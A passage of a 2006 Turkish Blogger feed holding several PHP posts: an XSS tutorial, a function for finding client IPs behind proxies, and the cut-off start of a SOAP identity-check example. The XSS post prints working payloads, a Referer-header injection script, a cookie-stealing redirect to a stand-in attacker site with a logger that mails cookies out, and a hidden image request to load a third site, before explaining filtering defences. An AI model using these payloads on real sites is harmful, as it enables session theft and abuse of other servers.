/&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Kod:&lt;/div&gt;&lt;br /&gt;    &lt;pre&gt;&lt;div dir="ltr"&gt;&amp;lt;? &lt;br&gt;$ch = curl_init();&lt;br&gt;curl_setopt($ch, CURLOPT_URL,"http://localhost/xss/test.php");&lt;br&gt;curl_setopt($ch,CURLOPT_REFERER,"&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;");&lt;br&gt;curl_exec ($ch);&lt;br&gt;curl_close ($ch);&lt;br&gt;?&amp;gt; &lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Yukar&amp;#305;daki kod &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;r&amp;#305;ld&amp;#305;&amp;#287;&amp;#305;nda varsa cookie bilgisi ekrana  bas&amp;#305;labilir.Bu sadece proof of concept tarz&amp;#305;nda bir &amp;ouml;rnek.Ekrana cookie  bast&amp;#305;rmak d&amp;#305;&amp;#351;&amp;#305;nda cookie ba&amp;#351;ka sunucuya yollanabilirde..&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;Ouml;rne&amp;#287;in REFERER bilgisi &amp;#351;u &amp;#351;ekilde de yollanabilir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Kod:&lt;/div&gt;&lt;br /&gt;    &lt;pre&gt;&lt;div dir="ltr"&gt;&amp;lt;script&amp;gt;document.location='http://www.saldirganin_sitesi.com/logla.php?'+document.cookie&amp;lt;/script&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;Ouml;rnek logla.php i&amp;ccedil;eri&amp;#287;i :&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Kod:&lt;/div&gt;&lt;br /&gt;    &lt;pre&gt;&lt;div dir="ltr"&gt;&amp;lt;?&lt;br&gt;mail("saldirgan@saldirgan.com", "Yeni cookie bilgisi", "$_SERVER[QUERY_STRING]);&lt;br&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Bu tek sat&amp;#305;rl&amp;#305;k betikle yeni cookie bilgisi geldik&amp;ccedil;e sald&amp;#305;rgan&amp;#305;n mail adresine yollanacakt&amp;#305;r.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Bu kod i&amp;ccedil;eri sokuldu&amp;#287;unda siteye giren kullan&amp;#305;c&amp;#305;n&amp;#305;n cookie ve (varsa)  oturum bilgileri uzaktaki sunucudaki logla.php adresine escape  edilir.Daha sonra loglanan cookie ile sald&amp;#305;rgan giri&amp;#351; yapabilir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Yukar&amp;#305;daki &amp;ouml;rnek olduk&amp;ccedil;a basit, daha zeki bir sald&amp;#305;rgan ziyaret&amp;ccedil;i  fark&amp;#305;nda olmadan bile cookie'yi arkaplanda yollayabilir.Bu i&amp;#351; g&amp;ouml;r&amp;uuml;nmez  img ve iframe etiketleri yeterli.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;Sald&amp;#305;r&amp;#305; t&amp;uuml;rleri, etkileri&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Sald&amp;#305;rganlar xss sald&amp;#305;r&amp;#305;lar&amp;#305;yla sadece oturum,&amp;ccedil;erez bilgileri &amp;ccedil;almakla  kalmayabilirler.Duruma g&amp;ouml;re asl&amp;#305;nda olmayan bir sayfay&amp;#305;  g&amp;ouml;rebilirsiniz.Geni&amp;#351;&amp;ccedil;e bir iframe i&amp;ccedil;inde yeniden oturum bilgilerinizi  girmenizi isteyen bir sayfa, veya asl&amp;#305;nda olmamas&amp;#305; gereken yaz&amp;#305;lar  g&amp;ouml;rebilirsiniz.Bu y&amp;ouml;n&amp;uuml;yle XSS phishing y&amp;ouml;ntemi olarak ta  kullan&amp;#305;labilmekte.Herhangi bir bankan&amp;#305;n sitesinde "profilinizi  g&amp;uuml;ncelleyin ama &amp;ouml;nce &amp;#351;ifrenizi girin" tarz&amp;#305; sahte sayfalar g&amp;ouml;rmek gibi.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Buna benzer bir &amp;ouml;rne&amp;#287;i de ceviz.net forumlar&amp;#305;nda 2005'in nisan ay&amp;#305;nda g&amp;ouml;rm&amp;uuml;&amp;#351;t&amp;uuml;k&amp;nbsp; :) (&lt;a target="_blank" href="http://forum.ceviz.net/showthread.php?t=18634"&gt;http://forum.ceviz.net/showthread.php?t=18634&lt;/a&gt;)&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Bunun d&amp;#305;&amp;#351;&amp;#305;nda XSS sald&amp;#305;rganlar taraf&amp;#305;ndan ba&amp;#351;ka siteler sald&amp;#305;r&amp;#305; unsuru  olarakta kullanabilinir.&amp;Ccedil;ok ziyaretcisi olan bir site de gizli verilen  ve sald&amp;#305;r&amp;#305;lacak ba&amp;#351;ka bir hedefe yollanan HTTP istekleri di&amp;#287;er hedef  i&amp;ccedil;in sorun olu&amp;#351;turabilir.Zira anl&amp;#305;k 1000+ ki&amp;#351;inin girdi&amp;#287;i bir siteden  ba&amp;#351;ka siteye yollanan a&amp;#351;a&amp;#287;&amp;#305;daki gibi bir kodun di&amp;#287;er sitenin mySQL  sunucusu &amp;uuml;zerindeki etkilerini d&amp;uuml;&amp;#351;&amp;uuml;n&amp;uuml;n.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Kod:&lt;/div&gt;&lt;br /&gt;    &lt;pre&gt;&lt;div dir="ltr"&gt;&amp;lt;img src="http://www.uzaktaki_sunucu.com/detayli_arama.php?kosul=soyle&amp;amp;kosul2=boyle&amp;amp;anahtar_kelime=boyle" style="display:none"&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  K&amp;#305;saca XSS sald&amp;#305;r&amp;#305;lar&amp;#305;yla yapabilecekler JS ve HTML ile yap&amp;#305;labileceklerle s&amp;#305;n&amp;#305;rl&amp;#305;.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;&amp;#304;&amp;#351;in g&amp;uuml;venlik k&amp;#305;sm&amp;#305;, Nas&amp;#305;l &amp;ouml;nlem alaca&amp;#287;&amp;#305;z ?&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  G&amp;uuml;venlik konusunda temel ilke olan " Filter the input, escape the  output " ilkesi ge&amp;ccedil;erli.Kullan&amp;#305;c&amp;#305;n&amp;#305;n bir &amp;#351;ekilde de&amp;#287;i&amp;#351;tirebilip  yollayabilece&amp;#287;i her t&amp;uuml;rl&amp;uuml; veriyi filtrelemeden, kontrol etmeden ekrana  basmayacaksan&amp;#305;z.Kontrol etme imkan&amp;#305;n&amp;#305;z varsa mutlaka beyaz liste  y&amp;ouml;ntemi kullan&amp;#305;n.&amp;Ouml;rnek bir uygulama yapal&amp;#305;m;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Ba&amp;#351;l&amp;#305;k bilgisini queryData'dan al&amp;#305;p g&amp;ouml;steren bir uygulama yazal&amp;#305;m :&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  baslik.php&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Kod:&lt;/div&gt;&lt;br /&gt;    &lt;pre&gt;&lt;div dir="ltr"&gt;&amp;lt;?&lt;br&gt;echo("&amp;lt;title&amp;gt;$_GET[baslik]&amp;lt;/title&amp;gt;");&lt;br&gt;// sayfan&amp;#305;n geri kalan k&amp;#305;smi&lt;br&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Ba&amp;#351;l&amp;#305;k k&amp;#305;sm&amp;#305; bu &amp;#351;ekilde direk ekrana bas&amp;#305;l&amp;#305;rsa yukar&amp;#305;da bahsini  etti&amp;#287;imiz sorunlar ortaya &amp;ccedil;&amp;#305;kabilir.Beyaz liste y&amp;ouml;ntemini kullan&amp;#305;rsak;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Kod:&lt;/div&gt;&lt;br /&gt;    &lt;pre&gt;&lt;div dir="ltr"&gt;&amp;lt;?&lt;br&gt;$olasi_basliklar = array("index","haberler","baglantilar");&lt;br&gt;if(in_array($_GET["baslik"],$olasi_basliklar)) {&lt;br&gt;echo("&amp;lt;title&amp;gt;$_GET[baslik]&amp;lt;/title&amp;gt;");&lt;br&gt;}&lt;br&gt;else {&lt;br&gt;die("Olasi saldiri");&lt;br&gt;}&lt;br&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Olas&amp;#305; ba&amp;#351;l&amp;#305;klar&amp;#305; kontrol edip gelen veriyle kar&amp;#351;&amp;#305;la&amp;#351;t&amp;#305;r&amp;#305;yoruz, e&amp;#287;er g&amp;uuml;venilirse ekrana &amp;ouml;yle bas&amp;#305;yoruz.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Beyaz liste her ne kadar en g&amp;uuml;venli kontrol y&amp;ouml;ntemi olsa da kullan&amp;#305;m  alan&amp;#305; dard&amp;#305;r.&amp;Ouml;rne&amp;#287;in bir foruma ziyaret&amp;ccedil;ilerin yollad&amp;#305;&amp;#287;&amp;#305; mesajlar&amp;#305; bu  y&amp;ouml;ntemle kontrol etmeniz m&amp;uuml;mk&amp;uuml;n de&amp;#287;ildir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Bu gibi durumlarda  yap&amp;#305;lmas&amp;#305; gerekenler filtrelemedir.PHP ile b&amp;uuml;t&amp;uuml;nle&amp;#351;ik olarak  htmlspecialchars, strip_tags() gibi fonksiyonlar gelmektedir.Yaz&amp;#305;n&amp;#305;n  ba&amp;#351;&amp;#305;nda bahsetti&amp;#287;imiz REFERER g&amp;ouml;sterme uygulamas&amp;#305;n&amp;#305; g&amp;uuml;venli hale  $referal de&amp;#287;i&amp;#351;kenini a&amp;#351;a&amp;#287;&amp;#305;daki gibi de&amp;#287;i&amp;#351;tirerek getirebilirsiniz.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $referal = &lt;strong&gt;strip_tags&lt;/strong&gt;($_SERVER["HTTP_REFERER"] . "&amp;amp;");&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;G&amp;uuml;venilmemesi gereken global diziler&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Kullan&amp;#305;c&amp;#305;dan gelen veri diyince akl&amp;#305;n&amp;#305;za sadece _POST , _GET global  dizileri gelmesin.Bunlar&amp;#305;n d&amp;#305;&amp;#351;&amp;#305;nda _COOKIE, _REQUEST, hatta baz&amp;#305;  elemanlar&amp;#305;yla _FILES ve _SERVER dizilerine g&amp;uuml;venmemeniz gerekebilir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER dizisinin baz&amp;#305; elemanlar&amp;#305; kullan&amp;#305;c&amp;#305; taraf&amp;#305;ndan  de&amp;#287;i&amp;#351;tirilebilir.&amp;Ouml;zellikle PHP_SELF &amp;ouml;zelli&amp;#287;i &amp;#351;u anda bir &amp;ccedil;ok a&amp;ccedil;&amp;#305;k  kaynak kodlu uygulamada filtrelenmeden ekrana bas&amp;#305;lm&amp;#305;&amp;#351; durumda,  dolay&amp;#305;s&amp;#305;yla yap&amp;#305;mc&amp;#305;lar xss problemleriyle bo&amp;#287;u&amp;#351;makta.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER dizisinde benim fark etti&amp;#287;im 3 tane tehlikeli eleman var.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER["PATH_INFO"] &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER["PATH_TRANSLATED"] &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER["PHP_SELF"] &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  elemanlar&amp;#305;n&amp;#305;n de&amp;#287;erleri x.php/XSS gibi bir istek yap&amp;#305;ld&amp;#305;&amp;#287;&amp;#305;nda&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER["PATH_INFO"] = /&amp;lt;XSS&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER["PATH_TRANSLATED"] = /var/www/domain/&amp;lt;XSS&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  _SERVER["PHP_SELF"] = /index.php/&amp;lt;XSS&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  haline gelmekte.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Daha fazlas&amp;#305; i&amp;ccedil;in phpinfo(); &amp;ccedil;&amp;#305;kt&amp;#305;s&amp;#305;ndan de&amp;#287;i&amp;#351;kenleri URL &amp;uuml;st&amp;uuml;nden de&amp;#287;i&amp;#351;tirip sonucu g&amp;ouml;rebilirsiniz.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;Sonu&amp;ccedil;&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  XSS &amp;ouml;nlenilmesi olduk&amp;ccedil;a kolay bir sald&amp;#305;r&amp;#305; t&amp;uuml;r&amp;uuml;.Alt&amp;#305;n kural olan kontrol  ve filtreleme i&amp;#351;lemlerini yapt&amp;#305;ktan sonra XSS'den korkman&amp;#305;za gerek yok.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;XSS hakk&amp;#305;nda kaynaklar&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;a target="_blank" href="http://www.cgisecurity.com/articles/xss-faq.shtml"&gt;http://www.cgisecurity.com/articles/xss-faq.shtml&lt;/a&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;a target="_blank" href="http://shiflett.org/articles/foiling-cross-site-attacks"&gt;http://shiflett.org/articles/foiling-cross-site-attacks&lt;/a&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;a target="_blank" href="http://ha.ckers.org/xss.html"&gt;http://ha.ckers.org/xss.html&lt;/a&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;a target="_blank" href="http://webmonkey.wired.com/webmonkey/00/18/index3a.html"&gt;http://webmonkey.wired.com/webmonkey/00/18/index3a.html&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115971011619623470?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115971011619623470/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115971011619623470' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971011619623470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971011619623470'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/cross-site-scripting-perdenin-arkasini.html' title='Cross Site Scripting - Perdenin arkasini acalim'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970997149237685</id><published>2006-10-01T05:38:00.000-08:00</published><updated>2006-10-01T05:39:31.576-08:00</updated><title type='text'>Proxy den bikkinlik mı geldi?</title><content type='html'>Banner de&amp;#287;i&amp;#351;im programlar&amp;#305;nda, anket t&amp;uuml;r&amp;uuml; yaz&amp;#305;l&amp;#305;mlarda ve bir &amp;ccedil;ok  alanda &amp;ccedil;erez+ip guvenlik sistemini kullanan webmasterlar&amp;#305;n ortam sorunu  genellikle;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;-&amp;ccedil;erezleri silip, proxy ile sahte t&amp;#305;klama yapabiliyorlar.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;E o zaman bu proxy olay&amp;#305;na bir &amp;ccedil;are bulunamaz m&amp;#305;? Tabiki bulunur. Forumlar&amp;#305;m&amp;#305;zda PHP -&amp;gt; K&amp;uuml;t&amp;uuml;phane b&amp;ouml;l&amp;uuml;m&amp;uuml;nde &lt;a href="http://forum.ceviz.net/member.php?u=44613"&gt;GI-IOST&lt;/a&gt; adli uyemiz taraf&amp;#305;ndan k&amp;uuml;&amp;ccedil;&amp;uuml;k &amp;ccedil;apl&amp;#305; bir fonksiyon Proxy alt&amp;#305;na gizlenen  ger&amp;ccedil;ek ip yi tespit edebiliyor ve b&amp;ouml;ylece proxy kullananan sahte  t&amp;#305;klamalar engellenmi&amp;#351; oluyor..&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Fonksiyonumuz: &lt;br&gt;&lt;br /&gt;&amp;lt;-- Fonksiyon ba&amp;#351;lang&amp;#305;c&amp;#305; -&amp;gt;&lt;br&gt;&lt;br /&gt;function GetOrjIP(){ &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;global $HTTP_SERVER_VARS; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$private_net_ip_masks = array( '10.0.0.', '192.168.', '127.0.0.', '172.16.0.' ); &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if( isset($_SERVER['HTTP_X_FORWARDED_FOR']) &amp;amp;&amp;amp; $_SERVER['HTTP_X_FORWARDED_FOR'] != '' ){ &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$ipStrings = explode( ',',$_SERVER['HTTP_X_FORWARDED_FOR']); &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;foreach($ipStrings as $k =&amp;gt; $v){if( empty($v) ){unset( $ipStrings[$k] ); }else {if(!isset($ipString)) { $ipString = $v; } } } &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if( isset($_SERVER['REMOTE_ADDR']) &amp;amp;&amp;amp; $_SERVER['REMOTE_ADDR'] != '' ){ &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$ipStrings[] = $_SERVER['REMOTE_ADDR']; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!isset($ipString)) {$ipString = $_SERVER['REMOTE_ADDR'];} &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;foreach($ipStrings as $k1 =&amp;gt; $ip){ foreach($private_net_ip_masks as $k2 =&amp;gt; $pip){ if(strpos($ip, $pip) === 0) { unset($ipStrings[$k1]); break; } } } &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!empty($ipStrings) ){ foreach( $ipStrings as $v ){if(!empty($v)){ $ipString = $v; $is_local_ip = false; break; } }} &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else { $is_local_ip = true; } &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return $ipString; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br&gt;&lt;br /&gt;&amp;lt;-- Fonksiyon biti&amp;#351;i -&amp;gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Kullan&amp;#305;m&amp;#305; da:&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;$GercekIP = GetIP(); &lt;br&gt;&lt;br /&gt;echo $GercekIP;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970997149237685?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970997149237685/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970997149237685' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970997149237685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970997149237685'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/proxy-den-bikkinlik-m-geldi.html' title='Proxy den bikkinlik mı geldi?'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970989245376268</id><published>2006-10-01T05:37:00.000-08:00</published><updated>2006-10-01T05:38:12.553-08:00</updated><title type='text'>PHP+SOAP kullanılarak TC Kimlik No Doğrulatma(web servisleri)</title><content type='html'>PHP+SAOP  uygulamalar&amp;#305;n&amp;#305; kullanabilmek i&amp;ccedil;in apache web serverda baz&amp;#305;  de&amp;#287;i&amp;#351;iklikler yapmam&amp;#305;z gerekmektedir.php.ini dosyas&amp;#305; i&amp;ccedil;inde  extension="php_soap.dll" yaz&amp;#305;s&amp;#305;n&amp;#305;n olup olmad&amp;#305;&amp;#287;&amp;#305;n&amp;#305; kontrol edin.e&amp;#287;er  ba&amp;#351;&amp;#305;nda ";" varsa onu silin.e&amp;#287;er yoksa siz yaz&amp;#305;n.ve apache yi restart  edin.b&amp;ouml;ylece a&amp;#351;a&amp;#287;&amp;#305;daki kodlar&amp;#305; browserinizde a&amp;ccedil;abilirsiniz.Ben herkes  anlayabilsin diye baya bir yard&amp;#305;m a&amp;ccedil;&amp;#305;klamas&amp;#305; yapt&amp;#305;m.PHP+SOAP  konusuna yeni ba&amp;#351;layan arkada&amp;#351;ara &amp;ccedil;ok yard&amp;#305;mc&amp;#305; olacak diye  d&amp;uuml;&amp;#351;&amp;uuml;n&amp;uuml;yorum.Sayfan&amp;#305;n&amp;nbsp; &amp;ccedil;o&amp;#287;u yard&amp;#305;m a&amp;ccedil;&amp;#305;klamalar&amp;#305;ndan olu&amp;#351;uyor.Direk  dreamweaver 'a kopyala yap&amp;#305;&amp;#351;t&amp;#305;r yap&amp;#305;n..Bu yard&amp;#305;m a&amp;ccedil;&amp;#305;klamalar&amp;#305; eminim sizin anlaman&amp;#305;zda etkili olucakt&amp;#305;r.bu kodlar&amp;#305; ben yapt&amp;#305;m denemi&amp;#351;tir ve &amp;ccedil;al&amp;#305;&amp;#351;yo arkada&amp;#351;alar.Size kolay gelsin&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;/*&lt;br&gt;&lt;br /&gt;** Copyright (c) 2006 Kadir G&amp;Uuml;LA&amp;#286;IZ&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;** Bu sayfa PHP+Soap uygulamas&amp;#305;d&amp;#305;r.Bu sayfada http://tckimlik.nvi.gov.tr(Nufus M&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;) adresinin web servisi &lt;br&gt;&lt;br /&gt;** kullan&amp;#305;larak TC kimlik Do&amp;#287;rulamas&amp;#305; yap&amp;#305;lmaktad&amp;#305;r.Bunun i&amp;ccedil;in n&amp;uuml;fus m&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n web servis hizmeti kullan&amp;#305;lm&amp;#305;&amp;#351;t&amp;#305;r.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;** Bu sayfadaki bilgiler tamamen serbest dola&amp;#351;abilir.&amp;#304;stenildi&amp;#287;i gibi de&amp;#287;i&amp;#351;tirilebilir.&lt;br&gt;&lt;br /&gt;** &amp;#304;stenildi&amp;#287;i gibi yay&amp;#305;nlanabilir.Bu tamamiyle size kalm&amp;#305;&amp;#351;.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;** Bu sayfa PHP+Soap kullan&amp;#305;m&amp;#305;n&amp;#305; &amp;ouml;&amp;#287;renmek isteyenlere ba&amp;#351;lang&amp;#305;&amp;ccedil; kayna&amp;#287;&amp;#305; olarak kullan&amp;#305;labilir.Kodlar i&amp;ccedil;inde &lt;br&gt;&lt;br /&gt;** hi&amp;ccedil;bir haz&amp;#305;r k&amp;uuml;t&amp;uuml;phane kullan&amp;#305;lmam&amp;#305;&amp;#351;t&amp;#305;r.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;** Bu sayfayla ilgili t&amp;uuml;m &amp;ouml;nerilerinizi ve ele&amp;#351;tirilerinizi&lt;br&gt;&lt;br /&gt;** kadir_glz@yahoo.com adresine bekliyorum.&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;** Sakarya &amp;Uuml;niversitesi Bilgisayar M&amp;uuml;hendisli&amp;#287;i 3 .s&amp;#305;n&amp;#305;f&lt;br&gt;&lt;br /&gt;** http://kGlznet.kayyo.com &lt;br&gt;&lt;br /&gt;*/&lt;br&gt;&lt;br /&gt;?&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-9" /&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;title&amp;gt;T.C. Kimlik Sorgulama...&amp;lt;/title&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;style type="text/css"&amp;gt;&lt;br&gt;&lt;br 